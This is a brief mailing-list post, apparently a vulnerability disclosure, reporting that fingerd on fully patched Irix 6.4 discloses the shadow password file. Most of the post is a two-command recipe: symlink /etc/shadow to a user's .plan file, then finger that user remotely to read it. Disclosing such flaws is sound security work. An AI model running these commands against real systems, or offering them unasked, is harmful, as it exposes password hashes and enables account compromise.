I am new on the list so i dont know if you knew that.
On Irix 6.4 with all patches installed the fingerd seems to like to
display the shadow file to all users.
>ln -s /etc/shadow /path/user/.plan
>finger user@irix64.show.shadow
This feature was found by a student -Zanikolas Serafim- while he was
reading a 9 years old system administrator's book.
